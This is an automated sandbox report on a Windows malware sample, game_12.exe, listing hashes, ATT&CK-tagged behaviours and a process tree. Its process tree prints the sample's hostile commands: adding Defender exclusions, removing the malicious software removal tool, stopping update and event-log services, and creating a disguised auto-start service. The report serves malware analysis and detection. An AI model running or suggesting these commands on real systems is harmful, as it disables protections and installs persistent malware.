6c3d0aec1057e3783db453fb638ad9dd3cb72051326e09b4396921b1b85074c2

Analysis

max time kernel
30s
max time network
24s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
10-08-2024 09:47

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General

Target

game_12.exe
Size

2.7MB
MD5

6a3ab7ec2c4fd2d93a0f8fc2dc47f062
SHA1

3d5f8bd0d1bab522252ad49f832f1e0519a8b563
SHA256

558963a35ffa085be310eb2809db9c61d46e8b0637e9a2b9f0ca45ed9231b7fa
SHA512

2a57a51d0732384bdae7e0001651b9caf8440b622eea93ea70de1df6bd5dedd20e3d8d189d034c5328508ce19d85efea92673aad353e1b0637c8c708a7072467
SSDEEP

49152:nkDg6C5FBC7YoaL6oMRcx1DixxzK2N+lCWg4zXZRsAbmoX+UBzppVR3:kDgPfBCkofc3DcxzXGNp6//UBzp

Score

8^/10

defense_evasion evasion execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
552	powershell.exe
2120	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 1 IoCs

pid	Process
3200	gwxqvlwwzfkr.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Setup.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	game_12.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	gwxqvlwwzfkr.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2808 set thread context of 4176	2808	game_12.exe	106
PID 3200 set thread context of 5108	3200	gwxqvlwwzfkr.exe	131
PID 3200 set thread context of 4972	3200	gwxqvlwwzfkr.exe	132
PID 3200 set thread context of 1924	3200	gwxqvlwwzfkr.exe	133

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3240	sc.exe
1884	sc.exe
3732	sc.exe
4532	sc.exe
988	sc.exe
3948	sc.exe
1332	sc.exe
3272	sc.exe
388	sc.exe
3628	sc.exe
2692	sc.exe
1716	sc.exe
4504	sc.exe
4904	sc.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 46 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2808	game_12.exe
552	powershell.exe
552	powershell.exe
2808	game_12.exe
2808	game_12.exe
2808	game_12.exe
2808	game_12.exe
2808	game_12.exe
2808	game_12.exe
2808	game_12.exe
2808	game_12.exe
4176	dialer.exe
4176	dialer.exe
2808	game_12.exe
2808	game_12.exe
2808	game_12.exe
3200	gwxqvlwwzfkr.exe
4176	dialer.exe
4176	dialer.exe
2120	powershell.exe
2120	powershell.exe
2120	powershell.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
2120	powershell.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
2120	powershell.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
2120	powershell.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
4176	dialer.exe
2120	powershell.exe
4176	dialer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	552	powershell.exe
Token: SeDebugPrivilege	4176	dialer.exe
Token: SeDebugPrivilege	2120	powershell.exe
Token: SeDebugPrivilege	5108	dialer.exe
Token: SeLockMemoryPrivilege	1924	dialer.exe
Token: SeAssignPrimaryTokenPrivilege	2056	svchost.exe
Token: SeIncreaseQuotaPrivilege	2056	svchost.exe
Token: SeSecurityPrivilege	2056	svchost.exe
Token: SeTakeOwnershipPrivilege	2056	svchost.exe
Token: SeLoadDriverPrivilege	2056	svchost.exe
Token: SeSystemtimePrivilege	2056	svchost.exe
Token: SeBackupPrivilege	2056	svchost.exe
Token: SeRestorePrivilege	2056	svchost.exe
Token: SeShutdownPrivilege	2056	svchost.exe
Token: SeSystemEnvironmentPrivilege	2056	svchost.exe
Token: SeUndockPrivilege	2056	svchost.exe
Token: SeManageVolumePrivilege	2056	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2056	svchost.exe
Token: SeIncreaseQuotaPrivilege	2056	svchost.exe
Token: SeSecurityPrivilege	2056	svchost.exe
Token: SeTakeOwnershipPrivilege	2056	svchost.exe
Token: SeLoadDriverPrivilege	2056	svchost.exe
Token: SeSystemtimePrivilege	2056	svchost.exe
Token: SeBackupPrivilege	2056	svchost.exe
Token: SeRestorePrivilege	2056	svchost.exe
Token: SeShutdownPrivilege	2056	svchost.exe
Token: SeSystemEnvironmentPrivilege	2056	svchost.exe
Token: SeUndockPrivilege	2056	svchost.exe
Token: SeManageVolumePrivilege	2056	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2056	svchost.exe
Token: SeIncreaseQuotaPrivilege	2056	svchost.exe
Token: SeSecurityPrivilege	2056	svchost.exe
Token: SeTakeOwnershipPrivilege	2056	svchost.exe
Token: SeLoadDriverPrivilege	2056	svchost.exe
Token: SeSystemtimePrivilege	2056	svchost.exe
Token: SeBackupPrivilege	2056	svchost.exe
Token: SeRestorePrivilege	2056	svchost.exe
Token: SeShutdownPrivilege	2056	svchost.exe
Token: SeSystemEnvironmentPrivilege	2056	svchost.exe
Token: SeUndockPrivilege	2056	svchost.exe
Token: SeManageVolumePrivilege	2056	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2056	svchost.exe
Token: SeIncreaseQuotaPrivilege	2056	svchost.exe
Token: SeSecurityPrivilege	2056	svchost.exe
Token: SeTakeOwnershipPrivilege	2056	svchost.exe
Token: SeLoadDriverPrivilege	2056	svchost.exe
Token: SeSystemtimePrivilege	2056	svchost.exe
Token: SeBackupPrivilege	2056	svchost.exe
Token: SeRestorePrivilege	2056	svchost.exe
Token: SeShutdownPrivilege	2056	svchost.exe
Token: SeSystemEnvironmentPrivilege	2056	svchost.exe
Token: SeUndockPrivilege	2056	svchost.exe
Token: SeManageVolumePrivilege	2056	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2056	svchost.exe
Token: SeIncreaseQuotaPrivilege	2056	svchost.exe
Token: SeSecurityPrivilege	2056	svchost.exe
Token: SeTakeOwnershipPrivilege	2056	svchost.exe
Token: SeLoadDriverPrivilege	2056	svchost.exe
Token: SeSystemtimePrivilege	2056	svchost.exe
Token: SeBackupPrivilege	2056	svchost.exe
Token: SeRestorePrivilege	2056	svchost.exe
Token: SeShutdownPrivilege	2056	svchost.exe
Token: SeSystemEnvironmentPrivilege	2056	svchost.exe
Token: SeUndockPrivilege	2056	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5088 wrote to memory of 3740	5088	cmd.exe	97
PID 5088 wrote to memory of 3740	5088	cmd.exe	97
PID 2808 wrote to memory of 4176	2808	game_12.exe	106
PID 2808 wrote to memory of 4176	2808	game_12.exe	106
PID 2808 wrote to memory of 4176	2808	game_12.exe	106
PID 2808 wrote to memory of 4176	2808	game_12.exe	106
PID 2808 wrote to memory of 4176	2808	game_12.exe	106
PID 2808 wrote to memory of 4176	2808	game_12.exe	106
PID 2808 wrote to memory of 4176	2808	game_12.exe	106
PID 4176 wrote to memory of 616	4176	dialer.exe	5
PID 4176 wrote to memory of 672	4176	dialer.exe	7
PID 4176 wrote to memory of 952	4176	dialer.exe	12
PID 4176 wrote to memory of 316	4176	dialer.exe	13
PID 4176 wrote to memory of 744	4176	dialer.exe	14
PID 4176 wrote to memory of 1020	4176	dialer.exe	15
PID 4176 wrote to memory of 1108	4176	dialer.exe	17
PID 4176 wrote to memory of 1124	4176	dialer.exe	18
PID 4176 wrote to memory of 1136	4176	dialer.exe	19
PID 4176 wrote to memory of 1160	4176	dialer.exe	20
PID 4176 wrote to memory of 1264	4176	dialer.exe	21
PID 4176 wrote to memory of 1276	4176	dialer.exe	22
PID 4176 wrote to memory of 1352	4176	dialer.exe	23
PID 4176 wrote to memory of 1380	4176	dialer.exe	24
PID 4176 wrote to memory of 1508	4176	dialer.exe	25
PID 4176 wrote to memory of 1516	4176	dialer.exe	26
PID 4176 wrote to memory of 1528	4176	dialer.exe	27
PID 4176 wrote to memory of 1636	4176	dialer.exe	28
PID 4176 wrote to memory of 1676	4176	dialer.exe	29
PID 4176 wrote to memory of 1728	4176	dialer.exe	30
PID 4176 wrote to memory of 1792	4176	dialer.exe	31
PID 4176 wrote to memory of 1816	4176	dialer.exe	32
PID 4176 wrote to memory of 1940	4176	dialer.exe	33
PID 4176 wrote to memory of 1948	4176	dialer.exe	34
PID 4176 wrote to memory of 1000	4176	dialer.exe	35
PID 4176 wrote to memory of 1896	4176	dialer.exe	36
PID 4176 wrote to memory of 2056	4176	dialer.exe	37
PID 4176 wrote to memory of 2084	4176	dialer.exe	38
PID 4176 wrote to memory of 2200	4176	dialer.exe	40
PID 4176 wrote to memory of 2280	4176	dialer.exe	41
PID 4176 wrote to memory of 2540	4176	dialer.exe	42
PID 4176 wrote to memory of 2560	4176	dialer.exe	43
PID 4176 wrote to memory of 2660	4176	dialer.exe	44
PID 4176 wrote to memory of 2668	4176	dialer.exe	45
PID 4176 wrote to memory of 2696	4176	dialer.exe	46
PID 4176 wrote to memory of 2724	4176	dialer.exe	47
PID 4176 wrote to memory of 2748	4176	dialer.exe	48
PID 4176 wrote to memory of 2764	4176	dialer.exe	49
PID 4176 wrote to memory of 2776	4176	dialer.exe	50
PID 4176 wrote to memory of 2784	4176	dialer.exe	51
PID 4176 wrote to memory of 2856	4176	dialer.exe	52
PID 4176 wrote to memory of 3168	4176	dialer.exe	54
PID 4176 wrote to memory of 3440	4176	dialer.exe	55
PID 4176 wrote to memory of 3476	4176	dialer.exe	56
PID 4176 wrote to memory of 3656	4176	dialer.exe	57
PID 4176 wrote to memory of 3848	4176	dialer.exe	58
PID 4176 wrote to memory of 4000	4176	dialer.exe	60
PID 4176 wrote to memory of 4148	4176	dialer.exe	62
PID 4176 wrote to memory of 2240	4176	dialer.exe	65
PID 4176 wrote to memory of 468	4176	dialer.exe	67
PID 4176 wrote to memory of 392	4176	dialer.exe	68
PID 4176 wrote to memory of 4352	4176	dialer.exe	69
PID 4176 wrote to memory of 1316	4176	dialer.exe	70
PID 4176 wrote to memory of 2548	4176	dialer.exe	71
PID 4176 wrote to memory of 2824	4176	dialer.exe	72

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:316

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1108
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1136

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1508

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1528
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1792

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2056

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2084

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2200

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2724

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2856

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3440

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3476
- C:\Users\Admin\AppData\Local\Temp\game_12.exe
  "C:\Users\Admin\AppData\Local\Temp\game_12.exe"
  2⤵
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5088
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:3740
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:388
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3628
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1332
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:2692
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:4532
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4176
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "windef (32bit)"
    3⤵
    - Launches sc.exe
    PID:988
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "windef (32bit)" binpath= "C:\ProgramData\bjxnephmfdtk\gwxqvlwwzfkr.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:1716
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:4504
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "windef (32bit)"
    3⤵
    - Launches sc.exe
    PID:4904
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3656

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3848

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4000

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:392

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:4352

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1316

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2824

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4324

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2344

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4672

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4964

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 2269120dc624971996ee512b72731338 w7uaxHlmdUKfeIihlFf5ZQ.0.1.0.0.0
1⤵
PID:2440
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:1736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:1500

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks processor information in registry
- Enumerates system info in registry
PID:1188

